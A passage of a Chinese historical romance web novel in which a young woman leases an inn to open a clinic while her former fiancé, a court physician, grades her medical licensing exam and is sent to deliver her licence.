郑辉吓得一哆嗦,‘噗通’一声跪倒在地,“世、世子爷明鉴啊!是姓吴,名明!明日的明!就是……就是纪家小公子纪明那个‘明’字啊!小的万万不敢耍您啊!” “蠢东西!话都说不明白!”李璟嫌弃地翻了个白眼,那眼神像看傻子似的,接着烦躁地朝他勾勾手指:“过来!” 郑辉如蒙大赦,起身跑至榻前,努力挤出谄媚的笑容,仰着脸:“世子爷息怒,息怒……那孟氏女,怕是想在桃花街赁铺子落脚?要不……咱们把这聚福客栈也买下来?” 李璟冷哼一声,一脸‘你脑子进水了’的表情:“你当老子傻啊,桃花街临着新开门,进进出出都是些泥腿子、穷酸户!整条街也就清风茶肆还凑合。让小爷买那破客栈?你当老子的银子是大风刮来的,还是你郑辉会点石成金?嗯?!” “是是是!小的糊涂!小的蠢笨!”郑辉点头如捣蒜,连声道,“那地方腌臜,来往的都是些粗鄙不堪的下等人物,世子爷您万金之躯,怎能自降身份沾惹? “再说那孟氏,她或许也意不在此,据下人通传,她出了桃花街后,还去了兴礼坊,出来后还转去了长通桥、为民坊……一连去了四五处地方。那……那依爷您的圣明,小的……小的该如何行事?” “这也用小爷教你?那你的工钱也分小爷一份如何?”李璟不耐地又翻了个白眼,身子往后一倒,晃着脚,“动动你那榆木脑袋!她怕不是知道咱们在盯着,想用那桃花街上的破落客栈混淆视听。 “你去!把那个她后来看的所有铺子的东家都一一找出来,吓唬吓唬他!让他有点眼力见儿,别什么人的生意都敢做!敢给小爷添堵,小爷就让他吃不了兜着走!懂了没?” “明白!明白!”郑辉如获大赦,点头哈腰,腰几乎弯到了地上去,“世子爷英明神武,算无遗策!小的这就去办!绝不敢让那孟氏得偿所愿!” 说罢,麻溜地退了出去,还小心地带上了门。 书房里安静下来。李璟重新歪回软枕里,烦躁地抓了抓头发,“这姓孟的到底想干什么?没个消停!” 他翻了个身,哼了一声。 管她要做什么,敢跟他对着干,他一定将她要干的事一桩桩都搅黄了! 第29章 第29章照隅堂 三日后,夜色深深。 桃花街浸在一片寂静里,白日的喧闹早已散尽,只余桥那头御街上传来更夫打梆的声响,遥遥地荡在夜空里。 两盏素白灯笼在晚风中轻轻晃着,昏黄的光晕在青石板路上洇开两团朦胧的暖色,将孟玉桐与白芷的身影拉得细长,摇曳不定。 主仆二人踏着这一地灯影,停驻门前。白芷伸手轻推那虚掩的客栈门扉。 “吱呀——”一声,在静夜里格外清晰。 客栈堂内只点了一盏油灯,灯芯结着细小的灯花,光线微弱,勉强照亮方寸之地。 榆木八仙桌旁,吴林正端坐着,一口一口慢慢喝着温水,眉宇间透着一股久违的舒泰。连服了三日“安神定志汤”,他胸口的滞闷尽去,夜里睡得踏实,精神也清爽了许多。 对面的吴明则以手撑头,眼皮沉沉地耷拉着,脑袋像小鸡啄米似的一点一点,快要磕到桌面上。 桌上整整齐齐地铺着几张刚写好的契书,墨迹才干。笔、墨、还有一盒红印泥,都静静摆在一旁。 这是吴林按着市面上通行的规矩,仔细拟定的租赁文书。 今日正是与孟玉桐定好的三日之期。 白日祖孙俩一合计,觉着这事可行,吴明便跑了一趟孟府送信。孟玉桐却将签契的时候定在这半夜亥时。吴明那时心里虽觉得奇怪,却也没多问,回来就与祖父说明,两人如约按时在这客栈里等着。 直到亥时三刻,才有微凉的夜风从堂中穿掠而过,吹得屋中油灯的火苗不住地上下跳荡。 一阵轻缓却沉稳的脚步声由远及近。 吴林听见动静抬头望去,昏黄的灯影里,孟玉桐带着白芷走了进来。 “府里有些杂事耽搁了,让二位久候了。” 孟玉桐语声温和,脸上带着笑意致歉,脚步从容地迈入堂中。 白芷跟在她身后,手里稳稳提着一只竹编的食盒。 “夜都这么深了,二位想来也饿了。这是我家小姐亲手做的,给二位备的些宵夜。”白芷一边说着,一边将食盒轻轻放在八仙桌正中间。 揭开盒盖,一股诱人的饭菜香顿时弥漫开来,引得人腹中馋虫微动。 吴明被香气一激,猛地抬起头x,睡意全消,眼睛瞪得溜圆看向食盒内:只见当中一盅金黄澄亮的黄芪炖鸡,旁边是一碟翠绿欲滴的清炒春笋,一碟酱色油润的香菇焖豆腐,还有一小壶温好的黄酒。 荤素搭配,色泽鲜亮,热气腾腾,正是春日温补的佳肴。 他忍不住“咕咚”咽了一大口口水。 “老爷子脾胃弱,这大半夜的克化不动这些油荤,”吴明嘴里说着,手上动作却快如闪电,一把拎起食盒就挪到旁边一张略小的方几上,急不可耐地将菜肴一一摆开,扭头冲这边嚷道:“你们快签,签利索了,我好踏踏实实享用。” 话音未落,人已落座,抄起竹箸便风卷残云,吃得咂嘴有声。 这边吴林嫌弃地瞥了孙子一眼,无奈地摆摆手:“莫理这饿痨鬼!随他去!” 他随即敛容,将桌上那几页契书郑重推到孟玉桐面前:“孟姑娘,你开的方子老朽用了几日,的确有效。之前质疑姑娘医术,确实是以貌取人了,姑娘莫见怪。 “老朽依着市面常例拟了个大概,你再细瞧瞧条款。定的是一年起租,年租纹银一百二十两,押金二十两。期内客栈内外大小修葺归你,屋宇大梁结构有损归我。 一年期满,双方若无异议,再行续签。若姑娘看着无甚不妥,今夜便可落笔按印,你也好早日着手布置这医馆。” 孟玉桐接过契书,就着微弱的灯光逐字细阅。她看得极认真,纤长的手指偶尔在纸页上轻轻划过。 片刻后,她将契书递回,温言道:“先生思虑周详,条款明晰。并无不妥。只是上回与先生提及,请吴明小哥入我医馆合伙一事,先生看是否可在此契之上,另附一条款以作约定?” 吴林闻言微怔,捻着胡须的手顿在半空,眼中掠过一丝意外与审视。他原以为那日之言多是场面宽慰。本来他与孟玉桐之间,也只是件租铺子的买卖。 他倒没真的想能让那家伙与之‘合伙’,故而今日写契书时也并未提到这点。只是未曾想这姑娘竟真准备践诺。 目光扫过一旁正狼吞虎咽的孙子,又看回孟玉桐沉静诚恳的眉眼,沉吟片刻,终是缓缓点头:“姑娘信义,老朽感佩。既如此,便依姑娘所言,添上便是。” 他提笔蘸墨,在契书末页空白处,工整添注了关于吴明入伙、享五厘份子并领工钱的具体条款。 双方再无异议。孟玉桐与吴林分别在契书末尾落款,又以指蘸了那方殷红的印泥,各自在名讳及新增条款处稳稳钤下私印。一式两份,各自收执。 吴林仔细叠好自己那份契书,放入怀中,叮嘱道:“明日姑娘携此《赁批式》契书至衙门,缴付牙契钱六百文、钞纸钱一百文,便可领得官府朱印《批照》,此契方为官凭正契。” 至此,契成事定。 孟玉桐脸上勾起一抹笑意,她仔细将契书收好,同吴林点头,道了声多谢。 那头吴明已吃得满嘴油光,见这边事了,鼓着腮帮子含糊不清地嚷道:“成了!孟姑娘,往后咱就是一条船上的人了!咱们这医馆一定得加把劲,早日挤进那官册十家啊!” 他拍着肚皮,只觉浑身是劲,仿佛已见自己身着新衫,在堂皇医馆中迎来送往的风光模样。 “对了孟姑娘,咱这医馆叫什么名呢?” “叫照隅堂,医者仁心,当如明烛照暗隅。纵是身处一隅之地的病痛困厄,亦当照之,慰之,愈之,”孟玉桐眸光沉静如水,望向吴林,“初时有入世行医之念,还要多亏先生九年前替我算的那卦。如今承接先生的客栈做医馆之用,或是冥冥之中的天意。” 吴林眼中染上几分欣慰,爽朗一笑,点头高声道:“是个好名字。” 孟玉桐转向吴明:“吴明小哥,这几日客栈可照常开门,四日后我参加完医籍考核,便带人来修改布局,简单装整。” 吴明应道:“您是掌柜的,听您的!” 孟玉桐闻言莞尔,清浅的笑意如涟漪般在灯下漾开,愿这照隅堂能真正为病痛之人提供方便,如此,这世上或许能少几个如她母亲一般的人。 二人辞别吴林祖孙,转身步入门外更深的夜色。 那两盏客栈门前的灯笼,在夜色里散发出昏黄色的暖光,静静照亮桃花街一隅。 * 夜阑更深,纪府之内。 清雅的院落浸在溶溶月色里,几株老梅的疏影斜斜映在窗纱上。 锦帐内,李婉辗转难眠。 心中躁郁难解,她叹口气,终是拥衾坐起。伸手将枕畔一只香枕揽入怀中,指尖轻轻抚过枕面,眉宇间笼着轻愁。 手中香枕散发着清冽舒心的浅淡清香,却难抚她心中波澜。 身旁的纪宏业被这细微动静扰醒,起身取过床榻衣桁边的一件软缎外衫,轻轻披在她单薄的肩头。 他温润的目光落在妻子微蹙的眉心上,声音低沉关切:“婉婉,自孟家退婚,你这几日总是郁郁寡欢。可是在忧心昀儿的终身大事?” 李婉虽顶着公主尊号,性子里却无半分皇家骄矜,反似她素爱的寒梅,清冷疏淡,不慕繁华。 当年适婚之龄,圣上为她遴选驸马,世家才俊满园,李婉瞧也不瞧,丢了一园子的人自己赏梅去了。 圣上气得够呛,拂袖道“随她去”。 彼时她赏梅染恙,时任太子太傅的纪宏业奉召入宫诊治。 那日,他穿过梅林入公主殿,袖间染上一缕冷香。 李婉眼前朦胧,只瞧见他身姿挺拔如雪中青松,眉宇间自有不折的梅骨风仪。 只一眼,她便知是他。 她厌弃宫闱金玉樊笼,甘愿舍弃尊荣,嫁入纪府,守着这一方清净天地。 时光飞逝,转眼间她嫁入纪家已有近三十载。 李婉只轻轻摩挲着膝上香枕,她缓缓摇头,语带惋惜:“我是可惜,玉桐那孩子,兰心蕙质,我一直盼着她能入我纪家门楣。” 纪宏业凝视妻子,眸中带着怜惜:“夫人,寿宴之后,我观你心境似有不同。眉间郁结渐散,对昀儿也不似从前冷淡。究竟是何事,解了你多年心结?” 李婉抬眸望进丈夫关切的眼底,沉吟片刻,终是将那场恍如隔世的梦境,低声道来。 梦中,她因家中那场变故一直沉溺,且无意中迁怒纪昀,对家中琐事也不管不问,对嫁入纪家,倾心付出的孟玉桐亏欠良多。 最终家宅零落,悔之晚矣。 梦醒惊魂,方悟眼前人、身边事,方是至宝,岂能再因沉溺过往,徒增憾恨? 纪宏业听罢,长叹一声,宽厚的手掌覆上她微凉的手背:“你能如此想开,甚好。这些年看着你郁郁寡欢,形销骨立,我亦心如刀绞。如今云开雾散,往后咱们一家人就好好过日子,再不想别的。” “若昀儿也能如你一般,放下心结,便再好不过了。” 他顿了顿,目光温煦:“若真如你所言,孟家姑娘那般明净剔透,琉璃无瑕,这桩婚事作罢,确是纪家之憾。然……”他望向窗外摇曳的树影,语意深长:“婚约虽解,两家尚未另聘。此事未必无转圜之机,只是昀儿那性子,深沉内敛,着实令人忧心。” 李婉指尖微微用力,捏了捏丈夫的手,眼中燃起一丝微光:“你可有良策?我们试上一试?若天意难违,我也死心了。” 第30章 第30章以退为进 纪宏业将妻子揽入怀中,附耳低语,“昀儿那孩子,看着事事顺从,实则骨子里最是执拗,其实他认定的事,往往九牛难回。 “你我这做父母的应当清楚,越是强求撮合的,他心中越是避之不及。情之一事,唯有他自己生了心思,动了情肠,才会真正珍之重之。” 他想起旧事,眼神柔和几分:“小时候我带他打猎,曾送过他一张小弓,原只是随手买来当是给孩子玩的物件,琢磨着他不过拿在手中玩两日就厌弃了。没成想,前几日竟在他书房柜子最里头找着了,还裹得严严实实的。其实这孩子从前,最爱射箭骑马,日子久了,你我都快要忘了……” “竟有此事?”李婉听他讲起这些过往,心头忽然一酸,这些年,她对昀儿的关照,确实是太少了。 她眼前似乎很浮现起八年前的那个雨夜。 昀儿跪在松涛院冰凉的青石阶上,浑身湿透,嗓音沙哑却字字掷地有声:“孙儿愿承兄长之志,承接家业,习医行善,济世救人。” 他一夜间长大,再不似昔日那般的顽劣跳脱、没心没肺。像是一支被寒霜x打蔫的花苞,静静的,沉寂着。 他变得沉默寡言,眉目间总凝着一股远超年纪的冷清与疏离。 他的世界,似乎只剩下晦涩的医典和那个宏大的愿心,再无半分旁骛。 纪昀这般翻天覆地的转变,她并不是没有察觉。 只是彼时自己正是心碎神伤,自顾不暇之际,又何来心力去看顾他? 就这样,母子二人似乎渐渐越走越远了。 纪宏业手臂微微收紧,将李婉拥进自己怀里,声音稳而沉,安抚道:“此二人都是有主张之人。退婚之事既然木已成舟,与其刻意遮掩,倒不如任其传开,以退为进。若他二人真有缘法,自会峰回路转。若无缘……”他轻抚妻子发顶,语气温和,“便……顺其自然吧。” 李婉倚在丈夫怀里,轻轻点了点头,“那便先这般试一试。” * 四日后,孟玉桐参加完当日的医籍考核,回了府稍作休整。 午后,她便领着白芷去南城厢的“力夫市”,挑了几名手脚麻利、面相敦厚的年轻短工。 未时三刻,孟玉桐带着一行人抵达聚福客栈。 从外头往里望,客栈大堂已空空荡荡,其中所有桌凳器具皆被挪至后院。 吴林此时正撸着袖子,在井台边卖力擦洗着一张张桌椅。 若是开医馆,这些方桌长椅都是用不上的,吴明想着提前收拾归入仓库,日后做废旧家具售卖也是笔银钱。 孟玉桐步入客栈,白芷与短工们在大堂候着。 “吴明小哥。”孟玉桐唤道。 吴明闻声,停下手中的活,丢下抹布快步走出后院,笑道:“孟姑娘来了!我祖父在楼上歇晌呢。咱们这会儿就动工吗?” “嗯。”孟玉桐颔首,从袖中取出一卷图样,在大堂内空置的柜台上展开。图上线条清晰,医馆格局跃然纸上: “前堂需一分为二:临街设宽敞诊室,以‘回’字屏风居中隔断,分男女两区,务必清静雅洁。诊室后侧沿墙起整排樟木药柜,柜门需严丝合缝,内置樟脑以防虫蠹。 “穿过诊室后门,原四方小院处,起两间独立砖屋:一间为煎药房,须开高窗引风,砌独立烟道,免药气混杂侵扰病患;另一间作药材库,地面需铺青砖,墙基刷桐油防潮,贵重药材尤需妥善。 “至于楼上客房,”她指向二楼围廊,“格局不变,家具照旧。日后若有远道而来或行动不便的病患,可赁作临时休憩之所,加收些许房资,于诊治亦便。” 吴明听得连连点头:“姑娘思虑周全!城外来瞧病的,常苦于无处落脚,若能在医馆就近歇息,确是省却奔波之苦。” “还需劳烦小哥一事,”孟玉桐将图样递给他,“烦请小哥代为采办一应器具:脉枕、药碾、铡刀、戥秤等物,预算约三十两。另记得到‘行老’处定制一面合规‘杏旗’,开张时悬于门首。”她示意白芷,“银钱支取,找白芷即可。” 孟玉桐转向短工首领,条理清晰地交代了砖屋砌筑、药柜打造、通风烟道等关键处,末了问道:“依此图样,工期内可否完工?” 短工首领掐指盘算片刻,面露难色:“姑娘,这活计不算小,既要砌屋、打柜,还要顾及通风防潮……满打满算,至少需十日。” “十日?”孟玉桐眉头微蹙,她心系开张,“可能再快些?工钱可酌情加付。” “姑娘,非是小的推诿,”短工首领搓着手苦笑,“这已是紧赶慢赶的日程了,再快只怕粗制滥造,反误了姑娘大事。” 孟玉桐正欲再开口,正是此时,客栈门外忽地传来一声洪亮招呼:“孟姑娘!可算寻着你了!” 屋内众人循声望去,只见门口立着两人:一者面色黧黑,体格魁梧如铁塔,正是崔大成;另一人瘦长精干,眼珠左右灵活转动,正是梅三。 孟玉桐讶然:“崔大哥?梅三哥?你们不是已随刘少当家返秦州了,怎会在此处?” 这两声‘哥’叫得两人心中一热。 梅三咧嘴一笑,跨步进来:“少当家带着货去了平江府,交割甚是顺当。他心中记挂姑娘,怕您因我等开罪了那些纨绔,特意遣我二人快马折返临安,看看姑娘可有难处,需我等帮手之处。” 崔大成声如洪钟,接口道:“正是!姑娘但有差遣,俺们兄弟绝无二话!” 梅三抬眼一扫堂内情形、柜面上图样及面露难色的短工,心中便已了然:“姑娘这是要改客栈为医馆?遇上工期犯难了?”他一拍胸脯,“交给咱兄弟!七日!不,五日!保管给您拾掇得妥妥帖帖!” 崔大成憨厚地补充:“姑娘莫看俺们粗莽,在秦州时,走镖护院、修屋造舍、拉货赶车的活计都接过,熟门熟路!” 一旁的白芷被崔大成的嗓门和气势惊得悄悄扯了扯孟玉桐的衣袖,小声道:“姑娘,这两位壮士瞧着……好生威猛,是做什么营生的?” 崔大成耳尖,哈哈一笑:“嘿!小妹子莫怕!俺们只是生得糙了些,心肠可是热乎的!” 梅三忍俊不禁,揶揄道:“谁跟你‘俺们’?吓着人家小姑娘了!” 孟玉桐莞尔,低声对白芷解释了几句八珍坊的事,安抚道:“无妨,是朋友。” 她这才转向崔、梅二人,神色诚挚:“二位大哥古道热肠,玉桐感激不尽。只是此事劳烦二位,是否太过叨扰?” “姑娘说哪里话!”崔大成大手一挥,“能帮上姑娘的忙,是俺们兄弟的福分!” 孟玉桐见二人情真意切,且办事显然比临时雇佣的短工更为牢靠,便不再推辞,爽快应下:“如此,便有劳二位大哥了!” 吴明也机灵地上前招呼:“既是孟姑娘的朋友,便也是我的贵客。二位若不嫌弃,就在这客栈楼上先住下,方便行事。” 崔大成抱拳:“住宿就不劳烦了,我二人在城外有住所,还得等我们少当家的回来。” 几人寒暄一番。 梅三拿起柜台上的图样,凝神细看片刻,眼中精光一闪,点头道:“姑娘好规划!放心,按图索骥,五日必成!” 他转头对那短工首领一抱拳:“这位兄弟,人手若不足,我等可相助,工钱照付,绝不短少。” 短工首领见来了强援,且工钱无虞,脸上愁容顿消,忙不迭应承。 至此,沉寂数日的聚福客栈,终于响起了改造动工的叮当之声。 孟玉桐看着忙碌起来的众人,心中安定踏实许多。 一旁的白芷却有些忧虑:“姑娘,医籍考核的名录,酉时就该张榜了吧?不知怎的,奴婢这心里头突突跳得厉害,慌得很。” 孟玉桐抬眸望向天际,申时的阳光正暖,金辉泼洒,将客栈门前的青石板染得一片澄亮,也柔柔地笼在她身上,带来暖意。 她唇角噙着一抹淡然的笑意,温言道: “此次试题,虽有末题考校的是“气逆呕哕,夜不能寐”之症,立意新颖,与往年医馆院所出试题不太一样,想来并非出自院使之手。然前题皆属根基,中规中矩。你且宽心,”她目光沉静地看向白芷,抚慰道:“安心候着便是。待名录一出,自有医官院差人将医牌送过来。” “姑娘这般说,奴婢这颗心便落回肚子里了,只等着那医牌上门。” 孟玉桐含笑颔首,吩咐道:“去对面庆来饭馆寻孙大娘。请她备几桌像样的酒菜,荤素得宜,再加两坛好酒。待会儿工歇了,招呼大伙儿都过去用饭,今日辛苦,权当犒劳。” 白芷一听,眼睛顿时亮了起来,脆生生应道:“哎!奴婢这就去!” 说罢,便脚步轻快地穿过街道,直奔庆来饭馆。 饭馆门口,孙大娘正倚着门框,伸长了脖子往聚福客栈这边张望。 对面丁儿咣当的到底在做些什么?她脸上满是好奇。 见白芷过来,孙大娘忙不迭收回目光,堆起笑容招呼:“哟,白芷姑娘!可是要用晚食?” 两人打过几次招呼,已熟了脸面。 白芷指了指对面,“烦您备几桌好酒好菜!连工带匠约莫十人,一会儿忙完了就过来。” 孙大娘连声应着“好嘞好嘞”,手上利索地记下,却忍不住压低声音,凑近一步问:“白芷姑娘,跟大娘透个底儿,那聚福客栈这般大动干戈,叮叮当当的,是不打算开客栈了?” 这孙大娘最是八卦。 白芷挺直了腰背,脸上带着骄傲:“不开啦!我家小姐要将它改作医馆。等拾掇齐整了,择吉日便开张悬壶。” “医……医馆?”孙大娘惊得瞪大眼睛,声音都拔高了几x分,“是你家那位孟小姐要开医馆?” 她心中霎时翻江倒海:一个未出阁的姑娘家,抛头露面开医馆?这成何体统!她真有那悬壶济世的本事?别是胡闹吧? 再说了,对面客栈生意再差,总有几个住店的客人来她这儿对付口饭食,好歹是份进项。 这要是真改成了医馆,谁乐意在药罐子边上吃饭?往后这门前冷落,可怎么得了! 种种疑虑担忧纷涌而上。 白芷见她脸色变幻不定,眼神发直,又唤了一声:“大娘?” 孙大娘猛地回神,挤出一个略显僵硬的笑容:“哎!哎!开医馆好,救死扶伤,积德行善!姑娘稍坐,我这就去后头张罗!” 说罢,逃也似的掀帘钻进了后厨,留下白芷在原地,有些莫名地眨了眨眼—— 作者有话说:因为周四上夹子,下一章在周四晚上十一点更新《 》 30-40 第31章 第31章她的医牌 翰林医官院,北院深处。 庭院开阔,青石铺地,两侧厢房依次是各科祗应与医学博士讲习的所在。 正堂高悬“仁心济世”匾额,乃是院使朱直的官廨。 东侧稍间,一扇玄色门扉半掩,正是院判纪昀处理公务兼诊脉之处。 室内陈设清雅,一桌一椅皆为紫檀所制。案头整齐码放着医籍卷宗与待批的惠民局呈报,墙上悬着一幅细致的经络图,角落青铜香兽口中吐出清冽的柏子香气。 唯有一卷摊开的《太平圣惠方》搁在案边,显然是主人方才还在翻阅。 身为院判,纪昀职责繁重:掌天下医籍,核考地方惠民局医官,也需轮值御前及本院疑难杂症的诊治。 此刻,他刚结束一场会诊,正欲审阅各地呈报,直院医官陈玢轻叩门扉,捧着一摞试卷步入。 “院判,”陈玢恭敬行礼,将试卷置于案上,“今日医籍考核已毕,共二十份,按例封名。院使吩咐,申时三刻前需定下合格名录。”他顿了顿,补充道,“您所出末题——要求据症拟方,新颖却也刁钻。多人空白,余者所书多流于泛泛,或药不对症。” 纪昀眸光微敛,忆起前几日院使朱直言及今年名额紧缩,嘱他出题需见真章。 他便依朱直往年偏好,在末题用了祖父月前考校他的那道“气逆呕哕,夜不能寐”之症。 此症虚实夹杂,确非寻常医者能解。他亦曾遍查典籍,斟酌损益,方得稳妥之方。 “嗯。”纪昀应了一声,音色清冷,听不出情绪。 陈玢送完答卷,人却还未动,立在桌前眼神总偷偷飘到纪昀脸上。 “还有事?”纪昀抬眼看他。 “那个……院判,有件事情不知当问不当问,外头传您被退婚的那件事可是真的?” 陈玢问完,屋子里一瞬静默,半晌无声。 这几日在外头总听说纪家与孟家的婚事有变,那传闻还说,似乎是人家姑娘没有瞧上纪昀。 传得煞有其事。 他实在是好奇,憋了半天,恰巧趁着送答卷的时机问出了口。 他这人,求知欲极其强烈,偏偏性子又有点怂,于是想了半天,不敢直接问是不是女方家主动退的婚,而是在问话里加了个‘被’字。 纪昀眉心似乎极其微弱地抽了抽,陈玢的心也跟着提起来。 过了许久,陈玢都做好他不会理会他的准备,打算离开了,这时忽然听见纪昀极轻的一声。 “嗯。” 他一愣,出言便想安慰,一句‘天涯何处无芳草’还未出口。纪昀已展开答卷,提起朱笔,开始批阅。 看也未看他一眼。 陈玢悻悻,将话咽了回去。 纪昀一份份批阅着案头的答卷,仿佛并未被方才那个有些冒犯的问题影响到。 如陈玢所言,末题留白者众。偶有作答者,或拘泥古方不知变通,如仅用旋覆代赭汤,未虑及痰湿阻滞,或用药孟浪失于调和,如滥用重镇之品而伤脾胃,皆难入其眼。 他批阅极快,朱笔勾勒间,优劣立判。 翻至其中一份时,他指尖一顿。 试卷之上,簪花小楷秀逸工整,力透纸背。前题论述条理清晰,引经据典恰到好处,已显功底深厚。目光移至末题答案,纪昀素来沉静的眼底掠过一丝极淡的讶异。 答卷所述方剂,竟以《外台秘要》所载“安神定志汤”为基,巧妙化裁。其方:重用茯神、远志以安神定志,辅酸枣仁、柏子仁养血宁心;妙在减代赭石之沉降,易为紫贝齿潜阳安神而不伤胃;更佐以少量佛手、绿萼梅疏肝理气,解其呕哕之标。 此方不仅切中“气逆呕哕,夜不能寐”之核心病机,更兼顾了患者可能的肝郁气结,用药轻灵精准,配伍精当,其思路之奇巧,竟超他当日改良的旋覆代赭汤。 纪昀凝视着那清丽的字迹,墨玉般的眸子深不见底,视线无意识地在“紫贝齿”、“绿萼梅”几味药名上停留片刻。 祖父的难题,竟被如此另辟蹊径地解开,且解法如此似曾相识,颇具灵气。 这般不拘一格又十分注重药性调和的用药风格,倒与孟玉桐往日所开药方有几分微妙的契合。 他的目光掠过密封严实的姓名处,一丝探究之意悄然升起,又被他不动声色地压了下去。 随即,他神色恢复如常,朱砂笔尖稳落纸面,在那份试卷右上,清晰有力地批下一个“优”字。 字迹劲瘦孤峭,力透纸背。 “送与院使复核。”他将试卷递还陈玢。 陈玢领命退下。书房重归寂静,唯有香兽吞吐的薄烟袅袅盘旋。 纪昀重新执笔,笔尖却并未落于公文。目光落在窗外一隅摇曳的树影上,深邃的眼眸中,似有明灭思绪沉浮不定。 方才那惊才绝艳的答案,会否出自她手? 参加医籍考核之后,她下一步想做什么? 罢了,纪孟两家已退了亲事,这些与他又有何干? 他薄唇微抿,将这些由那份答卷展开的奇怪的揣测强行按下。 片刻后,有吏员前来请示:“院判,院使问您现下得空否?考核名录需着人誊录张榜,您的字最是风骨天然,院使想请您执笔,酉时前需张贴于院门。” 纪昀闻言,眸色几不可察地微微一凝,随即恢复如幽幽深潭。 他略一颔首,声线清冷依旧:“可。” 申末酉初,翰林医官院内,暮色初染。 天光已渐渐昏沉,朱直的公廨里,沐着一片暖黄夕光。 院使朱直正埋首案牍,而纪昀则端坐于侧案前,背脊如修竹般挺直,执一管紫毫笔,于素宣名录上誊写通过医籍考核者的姓名。 他运笔沉稳,腕底风骨嶙峋,侧影在渐暗的光线里勾勒出清绝轮廓,姿态之清雅,令人观之忘俗。 朱直偶然抬眼,目光落在纪昀身上,竟被那通身气度晃得怔了一瞬。 他心头莫名一酸,下意识抓过案头一方光可鉴人的水磨铜镜,对着镜中那张面团似的圆胖脸庞、塌鼻梁如同被人一拳捶平的模样,无声地撇了撇嘴。 老天爷忒不公!好家世、好皮相、好本事一股脑儿塞给纪昀,到了他这儿,倒像是女娲娘娘甩泥点子时溅出来的边角料! 他愤愤然将铜镜倒扣,眼不见为净。 目光落回手边医籍考核的答卷,他随手翻看。 当翻到一份簪花小楷写就的清丽工整的卷子时,只见卷首赫然一个笔力遒劲,孤峭如寒松“优”字,一看便知是纪昀亲批的。 朱直留意下来,细看内容,尤其那最后一题,用药之精妙,配伍之老道,令他越看越是心惊。 他松开手,瞥见密封处揭开的姓名——孟玉桐。 “嚯!”朱直叫出声,圆胖的身子猛地从圈椅里弹起,几步蹿到纪昀案前,蒲扇般的大手“啪”地拍在纪昀刚写好的名录上,震得笔架微颤:“这不是你未——” 纪昀抬眼冷冷一瞥。 他话出口亦觉不妥,便讪讪收声,挤眉弄眼地改口:“咳,前、前未婚妻那也是未婚妻嘛!好小子,藏得深呐! “这孟家姑娘竟有如此造诣?她师从哪位高人?啧啧啧,”他捏着那答卷,唾沫横飞地指点:“瞧这味‘紫贝齿’用得妙啊!既能潜阳安神,又不似代赭石那般沉降伤胃! “还有这‘绿萼梅’疏肝理气解呕哕,丝丝入扣!这思路!这火候!了不得!当真是后生可畏,巾帼不让须眉!” 他兀自说得口沫横飞,满面红光。 纪昀恰好落下最后一笔,“孟玉桐”三字端方立于名录之上。 他从容搁下紫毫,目光极其平淡地扫过朱直手中那份熟悉的簪花小楷答卷,眸底波澜不惊。 仿佛那答卷的主人,早在他提笔批下“优”字时,便已了然于心。 “x名录已毕。”纪昀的声音听不出半分情绪。 朱直被他这副八风不动的模样噎了一下,小眼睛滴溜溜在纪昀脸上转了几圈,忍不住压低声音,带着十足的八卦探询:“我说淮之,你跟我交个底儿,外头传的那事儿……当真?真是人家姑娘……没瞧上你?” 他仗着自己是纪昀在医官院的半个师长,问得毫无遮拦。 纪昀并未抬眼,修长的手指屈起,在案面那份墨迹初干的名录上轻轻一叩,发出清脆微响:“院使,酉时将至,名录该张榜了。” 声音依旧清冷,颇具压力的提醒。 朱直被这不软不硬的钉子碰了回来,胖脸一垮,悻悻道:“啧,你这孩子,半点玩笑开不得!老夫关心你终身大事,倒成了多管闲事!” 他不情不愿地扬声唤来吏员,将名录递出:“速去用印,酉时前张贴于院门!” 吏员领命而去,片刻又捧回一盘新制的木质医牌。 每块皆杉木为底,四边包铜,正面深刻“临安府·某科某号”,背面凹刻“景和五十五制”并烙有防伪火印,朱漆官印赫然其上,正是行医凭证。 纪昀起身欲离。 “哎!淮之留步!”朱直小眼珠一转,胖手飞快地从盘中拈起一块医牌,不由分说地塞进纪昀微凉的掌心。 那铜边触手生凉,木牌沉甸。 “喏,顺路!回去正好经过桃花街聚福客栈是吧?你顺道跑个腿,把这孟姑娘的医牌捎过去。她写的地址便是这处。” 他语速极快,根本不给纪昀拒绝的余地,人已抢先一步往外走,到了门口又回头,扯着嗓子补了一句:“哦!对了!顺便告诉她,领了牌子不算完!真想挂牌坐堂,还得找位咱医官院在籍的医官具名作保,入了名册才算数!走了走了!” 说罢,肥胖的身影便消失在门外廊道。 公廨内骤然安静。 暮色更深,最后一缕斜阳穿过窗棂,在纪昀如玉的侧脸上投下明明灭灭的光影。 他低垂眼眸,目光沉沉地落在掌心。 那枚包铜的杉木医牌静静躺着。铜边冰凉的触感,透过肌肤,直抵心底。 桃花街,聚福客栈?他眸底闪过一丝淡淡疑虑。 第32章 第32章有劳纪公子亲送。 戌时初,夜色笼罩,桃花街渐入沉寂。 聚福客栈门前,白日卸下的旧门匾斜倚墙角,大堂内光线昏暗,借着门外灯笼余光,可见新卸的木料梁柱整齐码放在墙边,空气里弥漫着新鲜的木屑气息。 白日喧嚣褪去,唯余零星虫鸣。后院四方小院中,地面落满柔柔月色。 角落那株老柿子树,虬枝盘曲,新抽的嫩叶在夜风中沙沙低语,枝头几朵零星的淡黄花苞悄然绽放,花藏叶腋,在月色下晕开点点柔光。 孟玉桐与白芷并坐于井台边的两张旧木椅上,沐在树影月华之中。 白芷递过一只粗陶碗:“姑娘累了一天,快尝尝。对街饮子铺王叔新熬的‘二陈汤饮子’,里头放了陈皮、半夏,说是春末喝最是解乏生津。” 孟玉桐含笑接过,碗里还放了些山楂碎,色泽动人。 她就着碗沿轻啜一口,温润微辛的液体滑入喉间,果然驱散了几分疲惫,通体舒泰。 她索性捧起碗,仰颈将剩余饮子一饮而尽,动作带着几分难得的爽利豪气。 “的确畅快。”她满足地喟叹一声。 崔大成、梅三并短工已归去歇息,吴明亦上楼洗漱。 主仆二人留下稍作整理,此刻偷得片刻闲暇。 白芷双手托腮,望着天上疏星,忍不住又念叨:“姑娘,酉时医籍名录就张榜了,这个医牌什么时候才能送到我们手里呀!” 她眼中满是按捺不住的期待,也不知这医牌究竟长什么样子? 晚间在庆来饭馆用饭时,白芷听说名单出了,匆匆扒拉了几口饭食,一路小跑着去看。果然在上头看到了她家小姐的名字。 听说医官院今明两日会亲自将医牌送到考核者指定的地点,今日众人在医馆里头忙活时,她便时不时出来张望,生怕错过了。 可生生等到了夜里,也不见有人来送医牌,她不免有些失望。 